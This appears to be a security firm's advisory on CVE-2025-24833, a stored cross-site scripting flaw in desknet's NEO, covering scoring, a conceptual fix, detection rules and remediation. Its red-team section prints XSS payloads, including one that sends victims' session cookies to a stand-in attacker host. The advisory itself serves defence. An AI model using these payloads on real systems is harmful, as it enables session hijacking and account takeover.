CVE-2025-24833

Executive Summary

CVE-2025-24833 is a stored cross-site scripting (XSS) vulnerability affecting desknet's NEO versions V4.0R1.0 through V9.0R2.0. This flaw allows an authenticated attacker to inject arbitrary JavaScript into the application, which is then stored and executed in the browsers of other users who view the affected content. The vulnerability has a CVSS score of 5.4 (Medium), with a low EPSS score of 0.0% indicating limited active exploitation at this time. No public proof-of-concept or exploit code is currently available, and no official patch has been released. The vendor, Desknet's, has not provided a patch status, leaving users in a vulnerable state.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction and low privileges. However, the stored nature of the XSS increases the potential for widespread impact within an organization, as multiple users may be affected by a single injection.

Deep Dive & Mechanics

The vulnerability resides in the desknet's NEO web application, which is a groupware solution. The stored XSS occurs because user-supplied input is not properly sanitized before being stored and later rendered in the browser. An attacker with low-level privileges (e.g., a regular user) can inject malicious JavaScript into fields such as comments, task descriptions, or profile information. When other users view this content, the script executes in their browser context, potentially allowing the attacker to steal session cookies, perform actions on behalf of the victim, or deface the application.

The lack of output encoding or input validation in the affected versions allows the injection to persist. The vulnerability affects all versions from V4.0R1.0 to V9.0R2.0, indicating a long-standing issue that has not been addressed in recent updates.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks proper escaping of user input before rendering. A patched version would implement context-aware output encoding (e.g., HTML entity encoding) and input validation to strip or neutralize script tags and event handlers.

Vulnerable Code Example (Conceptual):

// Directly rendering user input without sanitization
document.getElementById('comment').innerHTML = userInput;

Patched Code Example (Conceptual):

// Using textContent to prevent XSS
document.getElementById('comment').textContent = userInput;
// Or using a sanitization library
document.getElementById('comment').innerHTML = DOMPurify.sanitize(userInput);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a desknet's NEO instance (V4.0R1.0–V9.0R2.0)
• Low-privileged user account

Exploitation Steps:

1. Log in to the desknet's NEO application.
2. Navigate to a feature that stores user input (e.g., comments, tasks, or profile fields).
3. Inject a malicious payload, such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload to steal cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. Submit the input. The payload is stored and executed when other users view the affected page.

Note: No public exploit code is available, so this is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor web application logs for unusual input patterns, such as <script> tags or event handlers (e.g., onload, onerror).
2. Use web application firewalls (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular security scans for stored XSS vulnerabilities.

Mitigation:

• Since no patch is available, consider isolating the application or implementing virtual patching via a WAF.
• Restrict user input fields to only allow safe characters (e.g., alphanumeric) where possible.
• Educate users about the risks of clicking on suspicious content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to desknet's NEO pages.
• Host IOCs:
  • Presence of <script> tags or event handlers in stored data within the application database.
  • Browser console errors or unexpected pop-ups when viewing desknet's NEO pages.
• Log IOCs:
  • Web server logs showing requests with encoded or obfuscated JavaScript in POST parameters.
  • Application logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule desknet_stored_xss_cve_2025_24833 {
    meta:
        description = "Detects stored XSS payloads in desknet's NEO application"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24833"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in desknet's NEO
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in desknet's NEO application logs
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: desknet_neo
detection:
    selection:
        - event: "input_submitted"
        - data|contains: 
            - "<script>"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of HTML in rich text fields (if allowed)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24833 - Stored XSS in desknet's NEO"; flow:to_server; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Apply virtual patching via a WAF to block common XSS payloads.
  • Restrict user input to only allow safe characters (e.g., alphanumeric) where possible.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
• Long-term Actions:
  • Monitor the vendor's website for an official patch.
  • Consider migrating to an alternative groupware solution if no patch is released.
  • Conduct a security audit of the application to identify other potential vulnerabilities.
• User Education:
  • Train users to avoid clicking on suspicious links or entering sensitive data in untrusted contexts.

Valters IT
Securing Your Digital Frontier